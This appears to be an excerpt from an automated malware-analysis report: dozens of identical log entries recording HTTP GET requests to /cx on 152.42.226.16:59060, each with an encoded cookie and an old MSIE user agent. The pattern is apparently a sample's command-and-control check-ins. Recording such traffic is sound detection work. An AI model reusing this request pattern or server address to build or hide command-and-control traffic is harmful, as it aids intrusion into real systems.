Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
